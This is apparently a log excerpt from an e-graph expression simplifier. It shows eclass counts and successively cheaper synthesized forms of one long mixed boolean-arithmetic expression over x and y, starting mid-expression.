+((((x|y)*0xac0b088000000000)*(y^x))+((((x|y)*0x82108cc000000000)*(x*y))+((((x|y)*(x|y))*0xac0b088000000000)+((((y^x)*(y^x))*((0x805c98c000000000*(y^x))+((x*y)*0xc1a0af6000000000)))+((((x*y)*(x*y))*(((y^x)*0x2271071000000000)+(0x1138838800000000*(x*y))))+((((x|y)*(((y^x)*0xfdd46b8000000000)+((x*y)*0xf97d428000000000)))*(-(y^x)))+(((x|y)*((((x*y)*(x*y))*0x44e20e2000000000)+(((y^x)*0x457290000000000)*(x|y))))+((((x|y)*(x|y))*(((x*y)*0x682bd8000000000)+(0x2e4c60000000000*(x|y))))+((((y^x)*0x5a353ef000000000)+(((x*y)*0x874fde6800000000)+(((x|y)*0xb46a7de000000000)+((((y^x)*(y^x))*0x70402d7000000000)+(((x*y)*(((y^x)*0x50c0885000000000)+(0xbc90663c00000000*(x*y))))+((((x|y)*0xc100b5c000000000)*(y^x))+(((x|y)*(((x*y)*0xa18110a000000000)+((x|y)*0xc100b5c000000000)))+(0x3337c25800000000+(((y^x)*0xdab01d3000000000)+(((x*y)*0xc8082bc800000000)+(((x|y)*0xb5603a6000000000)+(0xdd3fb3ff21e75952+((((y^x)*(y^x))*(((0x7fa3674000000000*(y^x))+((x*y)*0x3e5f50a000000000))+((x|y)*0xfdd46b8000000000)))+((((x*y)*(x*y))*((((y^x)*0xdd8ef8f000000000)+(0xeec77c7800000000*(x*y)))+((x|y)*0xbb1df1e000000000)))+(((((x|y)*0xf97d428000000000)*(x*y))*((y^x)+(x|y)))+((((x|y)*(x|y))*(((y^x)*0xfba8d70000000000)+(0xfd1b3a0000000000*(x|y))))+(((((x*y)*((((y^x)*0x6e37315000000000)+(0x92a964fc00000000*(x*y)))+((x|y)*0xdc6e62a000000000)))+(((y^x)*(((x|y)*0x92f441c000000000)+0xf35adf2000000002))+((x|y)*(((x|y)*0x92f441c000000000)+0xe6b5be4000000004))))+(((x*y)*0xed084eb000000003)+0x67c62228de18a6ae))+(((y^x)*(y^x))*0x24bd107000000000))))))))))))))))))+0x5bfeed000000000))))))))))))+(((x|y)*0x5080768000000000)*(y*(y*y))))))))+(((x*y)*0x3c6058e000000000)*(y*(y*y))))))))+(((y^x)*0x28403b4000000000)*(y*(y*y)))))))))+(((y*(y*y))*0x809e2c000000000)*(~y))))))))))))
e-graph reset done.
====================================================================================================
eclasses #: 603
Synthesized (cost = 1227): (((x&y)*((0x820278b000000000*((x&y)*((x&y)*(x&y))))+(((x&(~y))*(x&(~y)))*(((x&y)*0xc0ed42000000000)+((x&(~y))*0xf7f61d4000000000)))))+(((((x&y)*((x&y)*(x&y)))*0xf7f61d4000000000)*(x|(~y)))+(((((x&(~y))*((x&(~y))*(x&(~y))))*((0x820278b000000000*(x&(~y)))+(((~x)^y)*0x809e2c000000000)))+((x&y)*(((((~x)^y)*0x181da84000000000)*(x&(~y)))*(y-(y^x)))))+(((((~x)^y)*((~x)^y))*((0xc0ed42000000000*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+(((x&y)*(x&(~y)))*0xe7e257c000000000)))+(((((~x)^y)*(((~x)^y)*((~x)^y)))*((((x&y)*0xf7f61d4000000000)+((x&(~y))*0x809e2c000000000))+(0x820278b000000000*((~x)^y))))+((((x&y)*(x&y))*((y*(((x&y)*0xf7f61d4000000000)+((x&(~y))*0x181da84000000000)))+((y*0x181da84000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*(y*(((x&y)*0xe7e257c000000000)+((x&(~y))*0x809e2c000000000))))+(((~x)^y)*(((x&y)*(y*0xcfc4af8000000000))+((y*0x181da84000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0x181da84000000000*((x*y)-(0x2*((x&y)*y))))+((y*0x809e2c000000000)*((~x)^y))))+((((x&y)*((((y*y)*0xc0ed42000000000)*(x&y))+(((y*y)*0xe7e257c000000000)*(x|(~y)))))+(((x&(~y))*(y*y))*((0xc0ed42000000000*(x&(~y)))+(((~x)^y)*0x181da84000000000))))+((((y*y)*(((((~x)^y)*((~x)^y))*0xc0ed42000000000)+(0x820278b000000000*(y*y))))+((((x&y)*(x&y))*(((y^x)*(((x&y)*0xd7bfc4c000000000)+((x&(~y))*0x78c0b1c000000000)))+(((y^x)*0x78c0b1c000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*((y^x)*(((x&y)*0x873f4e4000000000)+((x&(~y))*0x28403b4000000000))))+(((~x)^y)*(((x&y)*((y^x)*0xe7e9c8000000000))+(((y^x)*0x78c0b1c000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0x78c0b1c000000000*((y^x)*((y^x)-y)))+(((y^x)*0x28403b4000000000)*((~x)^y))))+(((~y)*(((y^x)*0x873f4e4000000000)*y))+(((((x&y)*(x&y))*(((x*y)*(((x&y)*0xc39fa72000000000)+((x&(~y))*0xb5210aa000000000)))+(((x*y)*0xb5210aa000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*((x*y)*(((x&y)*0x4adef56000000000)+((x&(~y))*0x3c6058e000000000))))+(((~x)^y)*(((x&y)*((x*y)*0x95bdeac000000000))+(((x*y)*0xb5210aa000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0x4adef56000000000*((x*y)*(y-(y^x))))+(((x*y)*0x3c6058e000000000)*((~x)^y))))+(((~y)*(((x*y)*0x4adef56000000000)*y))+(((((x&y)*(x&y))*(((x|y)*(((x&y)*0xaf7f898000000000)+((x&(~y))*0xf181638000000000)))+(((x|y)*0xf181638000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*((x|y)*(((x&y)*0xe7e9c8000000000)+((x&(~y))*0x5080768000000000))))+(((~x)^y)*(((x&y)*((x|y)*0x1cfd390000000000))+(((x|y)*0xf181638000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0xe7e9c8000000000*((x|y)*(y-(y^x))))+(((x|y)*0x5080768000000000)*((~x)^y))))+(((~y)*(((x|y)*0xe7e9c8000000000)*y))+(((((y^x)*(y^x))*0x6b02c22000000000)+((((x*y)*0x4108466000000000)*(y^x))+((((x*y)*(x*y))*0xb0c634c800000000)+((((x|y)*0xac0b088000000000)*(y^x))+((((x|y)*0x82108cc000000000)*(x*y))+((((x|y)*(x|y))*0xac0b088000000000)+((((y^x)*(y^x))*((0x805c98c000000000*(y^x))+((x*y)*0xc1a0af6000000000)))+((((x*y)*(x*y))*(((y^x)*0x2271071000000000)+(0x1138838800000000*(x*y))))+((((x|y)*(((y^x)*0xfdd46b8000000000)+((x*y)*0xf97d428000000000)))*(-(y^x)))+(((x|y)*((((x*y)*(x*y))*0x44e20e2000000000)+(((y^x)*0x457290000000000)*(x|y))))+((((x|y)*(x|y))*(((x*y)*0x682bd8000000000)+(0x2e4c60000000000*(x|y))))+((((y^x)*0x5a353ef000000000)+(((x*y)*0x874fde6800000000)+(((x|y)*0xb46a7de000000000)+((((y^x)*(y^x))*0x70402d7000000000)+(((x*y)*(((y^x)*0x50c0885000000000)+(0xbc90663c00000000*(x*y))))+((((x|y)*0xc100b5c000000000)*(y^x))+(((x|y)*(((x*y)*0xa18110a000000000)+((x|y)*0xc100b5c000000000)))+(0x3337c25800000000+(((y^x)*0xdab01d3000000000)+(((x*y)*0xc8082bc800000000)+(((x|y)*0xb5603a6000000000)+(0xdd3fb3ff21e75952+((((y^x)*(y^x))*(((0x7fa3674000000000*(y^x))+((x*y)*0x3e5f50a000000000))+((x|y)*0xfdd46b8000000000)))+((((x*y)*(x*y))*((((y^x)*0xdd8ef8f000000000)+(0xeec77c7800000000*(x*y)))+((x|y)*0xbb1df1e000000000)))+(((((x|y)*0xf97d428000000000)*(x*y))*((y^x)+(x|y)))+((((x|y)*(x|y))*(((y^x)*0xfba8d70000000000)+(0xfd1b3a0000000000*(x|y))))+(((((x*y)*((((y^x)*0x6e37315000000000)+(0x92a964fc00000000*(x*y)))+((x|y)*0xdc6e62a000000000)))+(((y^x)*(((x|y)*0x92f441c000000000)+0xf35adf2000000002))+((x|y)*(((x|y)*0x92f441c000000000)+0xe6b5be4000000004))))+(((x*y)*0xed084eb000000003)+0x67c62228de18a6ae))+(((y^x)*(y^x))*0x24bd107000000000))))))))))))))))))+0x5bfeed000000000))))))))))))+(((x|y)*0x5080768000000000)*(y*(y*y))))))))+(((x*y)*0x3c6058e000000000)*(y*(y*y))))))))+(((y^x)*0x28403b4000000000)*(y*(y*y)))))))))+(((y*(y*y))*0x809e2c000000000)*(~y))))))))))))
====================================================================================================
eclasses #: 1287
Synthesized (cost = 1226): (((x&y)*((0x820278b000000000*((x&y)*((x&y)*(x&y))))+(((x&(~y))*(x&(~y)))*(((x&y)*0xc0ed42000000000)+((x&(~y))*0xf7f61d4000000000)))))+(((((x&y)*((x&y)*(x&y)))*0xf7f61d4000000000)*(x|(~y)))+(((((x&(~y))*((x&(~y))*(x&(~y))))*((0x820278b000000000*(x&(~y)))+(((~x)^y)*0x809e2c000000000)))+((x&y)*(((((~x)^y)*0x181da84000000000)*(x&(~y)))*(y-(y^x)))))+(((((~x)^y)*((~x)^y))*((0xc0ed42000000000*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+(((x&y)*(x&(~y)))*0xe7e257c000000000)))+(((((~x)^y)*(((~x)^y)*((~x)^y)))*((((x&y)*0xf7f61d4000000000)+((x&(~y))*0x809e2c000000000))+(0x820278b000000000*((~x)^y))))+((((x&y)*(x&y))*((y*(((x&y)*0xf7f61d4000000000)+((x&(~y))*0x181da84000000000)))+((y*0x181da84000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*(y*(((x&y)*0xe7e257c000000000)+((x&(~y))*0x809e2c000000000))))+(((~x)^y)*(((x&y)*(y*0xcfc4af8000000000))+((y*0x181da84000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0x181da84000000000*((x*y)-(0x2*((x&y)*y))))+((y*0x809e2c000000000)*((~x)^y))))+((((x&y)*((((y*y)*0xc0ed42000000000)*(x&y))+(((y*y)*0xe7e257c000000000)*(x|(~y)))))+(((x&(~y))*(y*y))*((0xc0ed42000000000*(x&(~y)))+(((~x)^y)*0x181da84000000000))))+((((y*y)*(((((~x)^y)*((~x)^y))*0xc0ed42000000000)+(0x820278b000000000*(y*y))))+((((x&y)*(x&y))*(((y^x)*(((x&y)*0xd7bfc4c000000000)+((x&(~y))*0x78c0b1c000000000)))+(((y^x)*0x78c0b1c000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*((y^x)*(((x&y)*0x873f4e4000000000)+((x&(~y))*0x28403b4000000000))))+(((~x)^y)*(((x&y)*((y^x)*0xe7e9c8000000000))+(((y^x)*0x78c0b1c000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0x78c0b1c000000000*((y^x)*((y^x)-y)))+(((y^x)*0x28403b4000000000)*((~x)^y))))+(((~y)*(((y^x)*0x873f4e4000000000)*y))+(((((x&y)*(x&y))*(((x*y)*(((x&y)*0xc39fa72000000000)+((x&(~y))*0xb5210aa000000000)))+(((x*y)*0xb5210aa000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*((x*y)*(((x&y)*0x4adef56000000000)+((x&(~y))*0x3c6058e000000000))))+(((~x)^y)*(((x&y)*((x*y)*0x95bdeac000000000))+(((x*y)*0xb5210aa000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0x4adef56000000000*((x*y)*(y-(y^x))))+(((x*y)*0x3c6058e000000000)*((~x)^y))))+(((~y)*(((x*y)*0x4adef56000000000)*y))+(((((x&y)*(x&y))*(((x|y)*(((x&y)*0xaf7f898000000000)+((x&(~y))*0xf181638000000000)))+(((x|y)*0xf181638000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*((x|y)*(((x&y)*0xe7e9c8000000000)+((x&(~y))*0x5080768000000000))))+(((~x)^y)*(((x&y)*((x|y)*0x1cfd390000000000))+(((x|y)*0xf181638000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0xe7e9c8000000000*((x|y)*(y-(y^x))))+(((x|y)*0x5080768000000000)*((~x)^y))))+(((~y)*(((x|y)*0xe7e9c8000000000)*y))+(((((y^x)*(y^x))*0x6b02c22000000000)+((((x*y)*0x4108466000000000)*(y^x))+((((x*y)*(x*y))*0xb0c634c800000000)+((((x|y)*0xac0b088000000000)*(y^x))+((((x|y)*0x82108cc000000000)*(x*y))+((((x|y)*(x|y))*0xac0b088000000000)+((((y^x)*(y^x))*((0x805c98c000000000*(y^x))+((x*y)*0xc1a0af6000000000)))+((((x*y)*(x*y))*(((y^x)*0x2271071000000000)+(0x1138838800000000*(x*y))))+((((x|y)*((((x*y)*(x*y))*0x44e20e2000000000)+(((y^x)*0x457290000000000)*(x|y))))+((((x|y)*(x|y))*(((x*y)*0x682bd8000000000)+(0x2e4c60000000000*(x|y))))+((((y^x)*0x5a353ef000000000)+(((x*y)*0x874fde6800000000)+(((x|y)*0xb46a7de000000000)+((((y^x)*(y^x))*0x70402d7000000000)+(((x*y)*(((y^x)*0x50c0885000000000)+(0xbc90663c00000000*(x*y))))+((((x|y)*0xc100b5c000000000)*(y^x))+(((x|y)*(((x*y)*0xa18110a000000000)+((x|y)*0xc100b5c000000000)))+(0x3337c25800000000+(((y^x)*0xdab01d3000000000)+(((x*y)*0xc8082bc800000000)+(((x|y)*0xb5603a6000000000)+(0xdd3fb3ff21e75952+((((y^x)*(y^x))*(((0x7fa3674000000000*(y^x))+((x*y)*0x3e5f50a000000000))+((x|y)*0xfdd46b8000000000)))+((((x*y)*(x*y))*((((y^x)*0xdd8ef8f000000000)+(0xeec77c7800000000*(x*y)))+((x|y)*0xbb1df1e000000000)))+(((((x|y)*0xf97d428000000000)*(x*y))*((y^x)+(x|y)))+((((x|y)*(x|y))*(((y^x)*0xfba8d70000000000)+(0xfd1b3a0000000000*(x|y))))+(((((x*y)*((((y^x)*0x6e37315000000000)+(0x92a964fc00000000*(x*y)))+((x|y)*0xdc6e62a000000000)))+(((y^x)*(((x|y)*0x92f441c000000000)+0xf35adf2000000002))+((x|y)*(((x|y)*0x92f441c000000000)+0xe6b5be4000000004))))+(((x*y)*0xed084eb000000003)+0x67c62228de18a6ae))+(((y^x)*(y^x))*0x24bd107000000000))))))))))))))))))+0x5bfeed000000000)))-(((x|y)*(((y^x)*0xfdd46b8000000000)+((x*y)*0xf97d428000000000)))*(y^x)))))))))))+(((x|y)*0x5080768000000000)*(y*(y*y))))))))+(((x*y)*0x3c6058e000000000)*(y*(y*y))))))))+(((y^x)*0x28403b4000000000)*(y*(y*y)))))))))+(((y*(y*y))*0x809e2c000000000)*(~y))))))))))))
====================================================================================================
eclasses #: 3840
Synthesized (cost = 1217): (((x&y)*((0x820278b000000000*((x&y)*((x&y)*(x&y))))+(((x&(~y))*(x&(~y)))*(((x&y)*0xc0ed42000000000)+((x&(~y))*0xf7f61d4000000000)))))+(((((x&y)*((x&y)*(x&y)))*0xf7f61d4000000000)*(x|(~y)))+(((((x&(~y))*((x&(~y))*(x&(~y))))*((0x820278b000000000*(x&(~y)))+(((~x)^y)*0x809e2c000000000)))+((x&y)*(((((~x)^y)*0x181da84000000000)*(x&(~y)))*(y-(y^x)))))+(((((~x)^y)*((~x)^y))*((0xc0ed42000000000*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+(((x&y)*(x&(~y)))*0xe7e257c000000000)))+(((((~x)^y)*(((~x)^y)*((~x)^y)))*((0x809e2c000000000*((y^x)-y))+(0x820278b000000000*((~x)^y))))+((((x&y)*(x&y))*((y*(((x&y)*0xf7f61d4000000000)+((x&(~y))*0x181da84000000000)))+((y*0x181da84000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*(y*(((x&y)*0xe7e257c000000000)+((x&(~y))*0x809e2c000000000))))+(((~x)^y)*(((x&y)*(y*0xcfc4af8000000000))+((y*0x181da84000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0x181da84000000000*(y*((y^x)-y)))+((y*0x809e2c000000000)*((~x)^y))))+((((x&y)*((((y*y)*0xc0ed42000000000)*(x&y))+(((y*y)*0xe7e257c000000000)*(x|(~y)))))+(((x&(~y))*(y*y))*((0xc0ed42000000000*(x&(~y)))+(((~x)^y)*0x181da84000000000))))+((((y*y)*(((((~x)^y)*((~x)^y))*0xc0ed42000000000)+(0x820278b000000000*(y*y))))+((((x&y)*(x&y))*(((y^x)*(((x&y)*0xd7bfc4c000000000)+((x&(~y))*0x78c0b1c000000000)))+(((y^x)*0x78c0b1c000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*((y^x)*(((x&y)*0x873f4e4000000000)+((x&(~y))*0x28403b4000000000))))+(((~x)^y)*(((x&y)*((y^x)*0xe7e9c8000000000))+(((y^x)*0x78c0b1c000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0x78c0b1c000000000*((y^x)*((y^x)-y)))+(((y^x)*0x28403b4000000000)*((~x)^y))))+(((~y)*(((y^x)*0x873f4e4000000000)*y))+(((((x&y)*(x&y))*(((x*y)*(((x&y)*0xc39fa72000000000)+((x&(~y))*0xb5210aa000000000)))+(((x*y)*0xb5210aa000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*((x*y)*(((x&y)*0x4adef56000000000)+((x&(~y))*0x3c6058e000000000))))+(((~x)^y)*(((x&y)*((x*y)*0x95bdeac000000000))+(((x*y)*0xb5210aa000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0x4adef56000000000*((x*y)*(y-(y^x))))+(((x*y)*0x3c6058e000000000)*((~x)^y))))+(((~y)*(((x*y)*0x4adef56000000000)*y))+(((((x&y)*(x&y))*(((x|y)*(((x&y)*0xaf7f898000000000)+((x&(~y))*0xf181638000000000)))+(((x|y)*0xf181638000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*((x|y)*(((x&y)*0xe7e9c8000000000)+((x&(~y))*0x5080768000000000))))+(((~x)^y)*(((x&y)*((x|y)*0x1cfd390000000000))+(((x|y)*0xf181638000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0xe7e9c8000000000*((x|y)*(y-(y^x))))+(((x|y)*0x5080768000000000)*((~x)^y))))+(((~y)*(((x|y)*0xe7e9c8000000000)*y))+(((((y^x)*(y^x))*0x6b02c22000000000)+((((x*y)*0x4108466000000000)*(y^x))+((((x*y)*(x*y))*0xb0c634c800000000)+((((x|y)*0xac0b088000000000)*(y^x))+((((x|y)*0x82108cc000000000)*(x*y))+((((x|y)*(x|y))*0xac0b088000000000)+((((y^x)*(y^x))*((0x805c98c000000000*(y^x))+((x*y)*0xc1a0af6000000000)))+((((x*y)*(x*y))*(((y^x)*0x2271071000000000)+(0x1138838800000000*(x*y))))+((((x|y)*((((x*y)*(x*y))*0x44e20e2000000000)+(((y^x)*0x457290000000000)*(x|y))))+((((x|y)*(x|y))*(((x*y)*0x682bd8000000000)+(0x2e4c60000000000*(x|y))))+((((y^x)*0x5a353ef000000000)+(((x*y)*0x874fde6800000000)+(((x|y)*0xb46a7de000000000)+((((y^x)*(y^x))*0x70402d7000000000)+(((x*y)*(((y^x)*0x50c0885000000000)+(0xbc90663c00000000*(x*y))))+((((x|y)*0xc100b5c000000000)*(y^x))+(((x|y)*(((x*y)*0xa18110a000000000)+((x|y)*0xc100b5c000000000)))+(0x3337c25800000000+(((y^x)*0xdab01d3000000000)+(((x*y)*0xc8082bc800000000)+(((x|y)*0xb5603a6000000000)+(0xdd3fb3ff21e75952+((((y^x)*(y^x))*(((0x7fa3674000000000*(y^x))+((x*y)*0x3e5f50a000000000))+((x|y)*0xfdd46b8000000000)))+((((x*y)*(x*y))*((((y^x)*0xdd8ef8f000000000)+(0xeec77c7800000000*(x*y)))+((x|y)*0xbb1df1e000000000)))+(((((x|y)*0xf97d428000000000)*(x*y))*((y^x)+(x|y)))+((((x|y)*(x|y))*(((y^x)*0xfba8d70000000000)+(0xfd1b3a0000000000*(x|y))))+(((((x*y)*((((y^x)*0x6e37315000000000)+(0x92a964fc00000000*(x*y)))+((x|y)*0xdc6e62a000000000)))+(((y^x)*(((x|y)*0x92f441c000000000)+0xf35adf2000000002))+((x|y)*(((x|y)*0x92f441c000000000)+0xe6b5be4000000004))))+(((x*y)*0xed084eb000000003)+0x67c62228de18a6ae))+(((y^x)*(y^x))*0x24bd107000000000))))))))))))))))))+0x5bfeed000000000)))-(((x|y)*(((y^x)*0xfdd46b8000000000)+((x*y)*0xf97d428000000000)))*(y^x)))))))))))+(((x|y)*0x5080768000000000)*(y*(y*y))))))))+(((x*y)*0x3c6058e000000000)*(y*(y*y))))))))+(((y^x)*0x28403b4000000000)*(y*(y*y)))))))))+(((y*(y*y))*0x809e2c000000000)*(~y))))))))))))
====================================================================================================
eclasses #: 24289
Synthesized (cost = 391): (0x820278b000000000+(((y^x)*0xd7bfc4c000000000)+(((x*y)*0xc39fa72000000000)+((((x|y)*0xaf7f898000000000)+((y^x)*((0x6b02c22000000000*(y^x))+((x*y)*0x4108466000000000))))+(((x*y)*((0xb0c634c800000000*(x*y))+((x|y)*0x82108cc000000000)))+((((x|y)*0xac0b088000000000)*((y^x)+(x|y)))+(((y^x)*((((0x805c98c000000000*(y^x))+((x*y)*0xc1a0af6000000000))*(y^x))+((x|y)*(((y^x)*0x22b948000000000)+((x*y)*0x682bd8000000000)))))+(((((x*y)*(x*y))*(((y^x)*0x2271071000000000)+(0x1138838800000000*(x*y))))+0x5bfeed000000000)+(((((x|y)*(((((x*y)*(x*y))*0x44e20e2000000000)+(((y^x)*0x457290000000000)*(x|y)))+((((x*y)*0x682bd8000000000)+(0x2e4c60000000000*(x|y)))*(x|y))))+(((y^x)*0x5a353ef000000000)+(((x*y)*0x874fde6800000000)+((x|y)*0xb46a7de000000000))))+((x*y)*(((y^x)*0x50c0885000000000)+(0xbc90663c00000000*(x*y)))))+((((((y^x)*(y^x))*0x70402d7000000000)+((x|y)*(((y^x)*0xc100b5c000000000)+(((x*y)*0xa18110a000000000)+((x|y)*0xc100b5c000000000)))))+((y^x)*0xdab01d3000000000))+(0x1077765721e75952+(((x*y)*0xc8082bc800000000)+(((((x|y)*0xb5603a6000000000)+(((y^x)*(y^x))*(((0x7fa3674000000000*(y^x))+((x*y)*0x3e5f50a000000000))+((x|y)*0xfdd46b8000000000))))+(((y^x)*(y^x))*0x24bd107000000000))+((((x*y)*((((((y^x)*0xdd8ef8f000000000)+(0xeec77c7800000000*(x*y)))+((x|y)*0xbb1df1e000000000))*(x*y))+(((y^x)+(x|y))*((x|y)*0xf97d428000000000))))+(((x|y)*(((((y^x)*0xfba8d70000000000)+(0xfd1b3a0000000000*(x|y)))*(x|y))+(((x|y)*0x92f441c000000000)+0xe6b5be4000000004)))+((y^x)*(((x|y)*0x92f441c000000000)+0xf35adf2000000002))))+(0x67c62228de18a6ae+((x*y)*(0xed084eb000000003+((((y^x)*0x6e37315000000000)+(0x92a964fc00000000*(x*y)))+((x|y)*0xdc6e62a000000000)))))))))))))))))))
====================================================================================================
eclasses #: 475200
Synthesized (cost = 157): (0x820278b000000000+(((y^x)*0xd7bfc4c000000000)+(((x*y)*0xc39fa72000000000)+((((x|y)*0xaf7f898000000000)+(((y^x)*(y^x))*0x6b02c22000000000))+(((((0x3337c25800000000+((y^x)*0xdab01d3000000000))+((((x|y)*(((0xc100b5c000000000*((y^x)+(x|y)))+((x*y)*0xa18110a000000000))+0xb5603a6000000000))+((x*y)*0xc8082bc800000000))+0xdd3fb3ff21e75952))+((((y^x)*((0x24bd107000000000*(y^x))+(((x|y)*0x92f441c000000000)+0xf35adf2000000002)))+((x|y)*(((x|y)*0x92f441c000000000)+0xe6b5be4000000004)))+(0x67c62228de18a6ae+((x*y)*(0xed084eb000000003+((x|y)*0xdc6e62a000000000))))))+(0x5bfeed000000000+(((y^x)*(0x5a353ef000000000+(0x70402d7000000000*(y^x))))+(((x*y)*0x874fde6800000000)+((x|y)*0xb46a7de000000000)))))+((x|y)*(((x*y)*0x82108cc000000000)+(0xac0b088000000000*((y^x)+(x|y))))))))))
e-graph reset done.
====================================================================================================
eclasses #: 161
Synthesized (cost = 157): (0x820278b000000000+(((y^x)*0xd7bfc4c000000000)+(((x*y)*0xc39fa72000000000)+((((x|y)*0xaf7f898000000000)+(((y^x)*(y^x))*0x6b02c22000000000))+(((((0x3337c25800000000+((y^x)*0xdab01d3000000000))+((((x|y)*(((0xc100b5c000000000*((y^x)+(x|y)))+((x*y)*0xa18110a000000000))+0xb5603a6000000000))+((x*y)*0xc8082bc800000000))+0xdd3fb3ff21e75952))+((((y^x)*((0x24bd107000000000*(y^x))+(((x|y)*0x92f441c000000000)+0xf35adf2000000002)))+((x|y)*(((x|y)*0x92f441c000000000)+0xe6b5be4000000004)))+(0x67c62228de18a6ae+((x*y)*(0xed084eb000000003+((x|y)*0xdc6e62a000000000))))))+(0x5bfeed000000000+(((y^x)*(0x5a353ef000000000+(0x70402d7000000000*(y^x))))+(((x*y)*0x874fde6800000000)+((x|y)*0xb46a7de000000000)))))+((x|y)*(((x*y)*0x82108cc000000000)+(0xac0b088000000000*((y^x)+(x|y))))))))))
====================================================================================================
eclasses #: 321
Synthesized (cost = 157): (0x820278b000000000+(((y^x)*0xd7bfc4c000000000)+(((x*y)*0xc39fa72000000000)+((((x|y)*0xaf7f898000000000)+(((y^x)*(y^x))*0x6b02c22000000000))+(((((0x3337c25800000000+((y^x)*0xdab01d3000000000))+((((x|y)*(((0xc100b5c000000000*((y^x)+(x|y)))+((x*y)*0xa18110a000000000))+0xb5603a6000000000))+((x*y)*0xc8082bc800000000))+0xdd3fb3ff21e75952))+((((y^x)*((0x24bd107000000000*(y^x))+(((x|y)*0x92f441c000000000)+0xf35adf2000000002)))+((x|y)*(((x|y)*0x92f441c000000000)+0xe6b5be4000000004)))+(0x67c62228de18a6ae+((x*y)*(0xed084eb000000003+((x|y)*0xdc6e62a000000000))))))+(0x5bfeed000000000+(((y^x)*(0x5a353ef000000000+(0x70402d7000000000*(y^x))))+(((x*y)*0x874fde6800000000)+((x|y)*0xb46a7de000000000)))))+((x|y)*(((x*y)*0x82108cc000000000)+(0xac0b088000000000*((y^x)+(x|y))))))))))
====================================================================================================
eclasses #: 896
Synthesized (cost = 157): (0x820278b000000000+(((y^x)*0xd7bfc4c000000000)+(((x*y)*0xc39fa72000000000)+((((x|y)*0xaf7f898000000000)+(((y^x)*(y^x))*0x6b02c22000000000))+(((((0x3337c25800000000+((y^x)*0xdab01d3000000000))+((((x|y)*(((0xc100b5c000000000*((y^x)+(x|y)))+((x*y)*0xa18110a000000000))+0xb5603a6000000000))+((x*y)*0xc8082bc800000000))+0xdd3fb3ff21e75952))+((((y^x)*((0x24bd107000000000*(y^x))+(((x|y)*0x92f441c000000000)+0xf35adf2000000002)))+((x|y)*(((x|y)*0x92f441c000000000)+0xe6b5be4000000004)))+(0x67c62228de18a6ae+((x*y)*(0xed084eb000000003+((x|y)*0xdc6e62a000000000))))))+(0x5bfeed000000000+(((y^x)*(0x5a353ef000000000+(0x70402d7000000000*(y^x))))+(((x*y)*0x874fde6800000000)+((x|y)*0xb46a7de000000000)))))+((x|y)*(((x*y)*0x82108cc000000000)+(0xac0b088000000000*((y^x)+(x|y))))))))))
====================================================================================================
eclasses #: 4225
Synthesized (cost = 153): (0x820278b000000000+((((((y^x)*0xd7bfc4c000000000)+((x*y)*0xc39fa72000000000))+((x|y)*(((x*y)*0x82108cc000000000)+(0xac0b088000000000*((y^x)+(x|y))))))+(((((x|y)*0xaf7f898000000000)+(((y^x)*(y^x))*0x6b02c22000000000))+(((y^x)*(0x5a353ef000000000+(0x70402d7000000000*(y^x))))+(((x*y)*0x874fde6800000000)+((x|y)*0xb46a7de000000000))))+((0x6d8610f8de18a6ae+((x*y)*(0xed084eb000000003+((x|y)*0xdc6e62a000000000))))+(((y^x)*((0x24bd107000000000*(y^x))+(((x|y)*0x92f441c000000000)+0xf35adf2000000002)))+((x|y)*(((x|y)*0x92f441c000000000)+0xe6b5be4000000004))))))+((0x1077765721e75952+((y^x)*0xdab01d3000000000))+(((x|y)*(((0xc100b5c000000000*((y^x)+(x|y)))+((x*y)*0xa18110a000000000))+0xb5603a6000000000))+((x*y)*0xc8082bc800000000)))))
====================================================================================================
eclasses #: 41016
Synthesized (cost = 115): (((0x820278b000000000+((0xac0b088000000000*((y^x)+(x|y)))*(x|y)))+(((((((x|y)*0xaf7f898000000000)+((0x5bfeed000000000+(((x*y)*0x874fde6800000000)+((x|y)*0xb46a7de000000000)))+(0x5a353ef000000000*(y^x))))+(((x|y)*(((x|y)*0x92f441c000000000)+0xe6b5be4000000004))+((((x|y)*0x92f441c000000000)+0xf35adf2000000002)*(y^x))))+0x67c62228de18a6ae)+(((0x1077765721e75952+((y^x)*0xdab01d3000000000))+((x*y)*0xc8082bc800000000))+((0xb5603a6000000000+(0xc100b5c000000000*((y^x)+(x|y))))*(x|y))))+(0xed084eb000000003*(x*y))))+(((y^x)*0xd7bfc4c000000000)+((x*y)*0xc39fa72000000000)))
====================================================================================================
eclasses #: 757557
Synthesized (cost = 75): (((((0xed084eb000000003*(x*y))+((0xe6b5be4000000004*(x|y))+(((0x24bd107000000000*(y^x))+0xf35adf2000000002)*(y^x))))+(((x*y)*0xc8082bc800000000)+(0xb5603a6000000000*(x|y))))+((y^x)*0xdab01d3000000000))+(((y^x)*0x31f503b000000000)+((((x*y)*0x4aef858800000000)+((x|y)*0xb46a7de000000000))+(((x|y)*0xaf7f898000000000)+(((y^x)*(y^x))*0xdb42ef9000000000)))))
e-graph reset done.
====================================================================================================
eclasses #: 80
